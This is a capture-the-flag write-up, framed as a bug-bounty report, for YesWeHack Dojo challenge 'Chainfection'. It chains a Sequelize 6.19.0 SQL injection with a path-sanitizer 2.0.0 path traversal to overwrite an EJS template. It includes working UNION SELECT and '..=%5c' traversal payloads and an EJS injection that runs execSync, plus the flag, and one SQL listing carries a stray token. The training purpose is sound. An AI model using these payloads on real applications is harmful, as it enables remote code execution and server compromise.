Dojo #45
Challenge "Chainfection" du dojo de YesWeHack (octobre 2025)
Le
Le Dojo de YesWeHack est un espace d’entraînement pratique où les hunters peuvent développer leurs compétences en identifiant et exploitant des failles de sécurité à travers une série de défis dédiés au bug bounty. C'est pourquoi les articles de cette catégorie sont tournés comme des rapports de bug bounty.
📝 Summary
A critical Remote Code Execution (RCE) chain was discovered that leverages two distinct vulnerabilities in the application:
Sequelize SQL Injection — an injection in code that queries the Users table allows an attacker to bypass the verify attribute restriction and write attacker-controlled content into database-backed templates or fields.
path-sanitizer Path Traversal leading to Arbitrary File Write — improper path sanitization allows writing files anywhere on the filesystem (including the view/templates directory).
Chaining these issues enables an attacker to overwrite an EJS template with attacker-controlled markup containing embedded JS, which is subsequently rendered/executed and leads to full RCE on the server.
This report contains technical details, root cause analysis, impact assessment, remediation recommendations and a Proof-of-Concept (PoC) demonstrating the exploit chain.
✍ Code
function getJsonInput(rawData) {
let jsonData;
// Parse incoming JSON string
try {
jsonData = JSON.parse(rawData);
} catch (err) {
throw new Error("Invalid JSON input: " + err.message);
}
// Required keys
const requiredKeys = [
"username",
"updatedat",
"attachment",
"content"
];
// Validate presence of keys
for (const key of requiredKeys) {
if (!(key in jsonData)) {
throw new Error(`Missing required key: ${key}`);
}
}
return jsonData;
}
async function main() {
await init()
var data = {}
var filename = ""
var error = ""
// Update the current user's attachment
try {
data = getJsonInput(decodeURIComponent(""))
await Users.update(
{ attachment: data.attachment },
{
where: {
id: 2,
},
}
);
// Get user from database
const user = await Users.findOne({
where: {
[Op.and]: [
sequelize.literal(`strftime('%Y-%m-%d', updatedAt) >= :updatedat`),
{ name: data.username },
{ verify: true }
],
},
replacements: { updatedat: data.updatedat },
})
// Sanitize the attachment file path
const file = `/tmp/user/files/${psanitize(user.attachment)}`
// Write the attachment content to the sanitized file path
fs.writeFileSync(file, data.content)
} catch (err) {
error = err
} finally {
await sequelize.close();
}
// Render the view
console.log(ejs.render(fs.readFileSync('/tmp/view/index.ejs', "utf-8"), { filename: path.basename(filename), error: error }))
}
// Run the main program
main()
🔍 Technical Details
VID-01 — Sequelize SQL Injection
Vulnerability type: SQL Injection (Sequelize query)
Affected component: sequelize (version 6.19.0)
Summary :
The code builds a where clause combining sequelize.literal(...) with placeholders, then injects an object of replacements. Due to how Sequelize constructs queries, an attacker can inject arbitrary SQL fragments through poorly sanitized parameters — e.g., leveraging UNION SELECT to forge returned values (e.g., for the attachment field).
NB: In Sequelize, replacements is used in raw queries to safely inject dynamic values (via named :key or positional ? placeholders), preventing SQL injection.
Expected SQL and injection flow
Below is a clear step-by-step of the expected SQL, the intermediate SQL just before replacements are applied, and the final malformed SQL that results from the crafted payloads.
- Expected SQL produced by the ORM (before replacement values are injected):
SELECT
`id`,
`name`,
`verify`,
`attachment`,
`createdAt`,
`updatedAt`
FROM
`Users` AS `User`
WHERE
(
strftime('%Y-%m-%d\', updatedAt) >= ':updatedAt'
AND `User`.`verify` = 1
AND `User`.`name` = ':username'
) LIMIT 1;
- Payload sent by the attacker in the vulnerable fields.
- username :
:updatedat'
- updatedat :
AND 1=2) union select `id`, \"tata\", `verify`, "[malicious attachement]", `createdAt`, `updatedAt` From `Users` Where `id`=2;
- SQL just after the ORM has substituted the
:updatedAtand the:usernamereplacement into the literal, but before the final string concatenation behaviour produces the real query context where the injection takes effect.
SELECT
`id`,
`name`,
`verify`,
`attachment`,
`createdAt`,
`updatedAt`
FROM
`Users` AS `User`
WHERE
(
strftime('%Y-%m-%d\', updatedAt) >= 'AND 1=2) union select `id`, "tata", `verify`, "[malicious attachement]", `createdAt`, `updatedAt` From `Users` Where `id`=2;'
AND `User`.`verify` = 1
AND `User`.`name` = ':updatedat''
) LIMIT 1;
- Final query that is actually executed after Sequelize's internal string assembly — shows how the attacker's payload breaks out of the intended clause, injects a UNION SELECT and forges returned columns (including attachment):
SELECT
`id`,
`name`,
`verify`,
`attachment`,
`createdAt`,
`updatedAt`
FROM
`Users` AS `User`
WHERE
(
strftime('%Y-%m-%d\', updatedAt) >= ' AND 1=2) union select DAZDZA, "tata", `verify`, "[malicious attachement]", `createdAt`, `updatedAt` From `Users` Where `id`=2;'
AND `User`.`name` = '' /* Injection start here */
AND 1=2
)
union select `id`, "tata", `verify`, "[malicious attachement]", `createdAt`, `updatedAt` From `Users` Where `id`=2; /* Garbage because after ; */
'''' AND `User`.`verify` = 1) LIMIT 1;
Vulnerable code:
const {Sequelize, DataTypes, Op, literal} = require_v("sequelize", "6.19.0");
// [...]
const user = await Users.findOne({
where: {
[Op.and]: [
sequelize.literal(`strftime('%Y-%m-%d', updatedAt) >= :updatedat`),
{ name: data.username },
{ verify: true }
],
},
replacements: { updatedat: data.updatedat },
})
Impact: Ability to manipulate query logic and write or update database fields despite application-level restrictions.
References: GitHub advisory — https://github.com/advisories/GHSA-wrh9-cjv3-2hpw
VID-02 — Path Traversal in path-sanitizer leading to Arbitrary File Write primitive.
Vulnerability type: (Path traversal / unsafe path normalization) leading to arbitrary file write.
Affected component: path-sanitizer (version 2.0.0).
Summary :
path-sanitizer@2.0.0 performs insufficient path normalization: encoded sequences such as ..=%5c are decoded/converted to ../ but are not properly filtered, allowing an attacker to escape the intended directory and write files anywhere (e.g., template directories, /etc/passwd).
For example, ..=%5c..=%5c..=%5c..=%5c..=%5cetc/passwd will be converted as ../../../../../etc/passwd.
Vulnerable code :
const psanitize = require_v("path-sanitizer", "2.0.0");
// ...
// Sanitize the attachment file path
const file = `/tmp/user/files/${psanitize(user.attachment)}`
// Write the attachment content to the sanitized file path
fs.writeFileSync(file, data.content)
Impact: Attacker-supplied filenames/paths are used to write files to arbitrary locations (including template directories).
References: GitHub advisory — https://github.com/cabraviva/path-sanitizer/security/advisories/GHSA-94p5-r7cc-3rpr
🧠 Root cause
Chaining these two vulnerabilities allows an attacker to overwrite the EJS template. By injecting EJS tags (i.e. template expressions that are evaluated at render time) into the file, the attacker can cause arbitrary JavaScript to run when the template is rendered — which may in turn lead to remote code execution or the execution of system commands, depending on the application’s privileges and how the template output is used.
<%= this.constructor.constructor('return process.mainModule.require(\"child_process\").execSync(\"ls -la\", { encoding: \"utf-8\" });')() %>
The diagram below summarizes the exploitation workflow.

💥 Impact
An attacker can execute arbitrary system command on the server, potentially leading to:
- Full server compromise
- Reading sensitive files (/tmp/*.txt, logs, configuration)
- Privilege escalation if the application runs with elevated permissions
- Deployment of malware or lateral movement within the network
🛡️ Recommendation
- Update dependencies : Update the libraries sequalize and path-sanitazer to the latest secure versions.
- Restrict write access to sensitive files/directories
- Sanitize user input
✅ Proof of Concept (PoC)
Supplying the following payload executes arbitrary commands:
{
"username": ":updatedat'",
"updatedat": " AND 1=2) union select `id`, \"tata\", `verify`, \"..=%5c..=%5cview/index.ejs\", `createdAt`, `updatedAt` From `Users` Where `id`=2;",
"attachment": "",
"content": "<%= this.constructor.constructor('return process.mainModule.require(\"child_process\").execSync(\"ls -la\", { encoding: \"utf-8\" });')() %>"
}
FLAG
FLAG{Bug_C4ins_Br1ng5_Th3_B3st_Imp4ct}"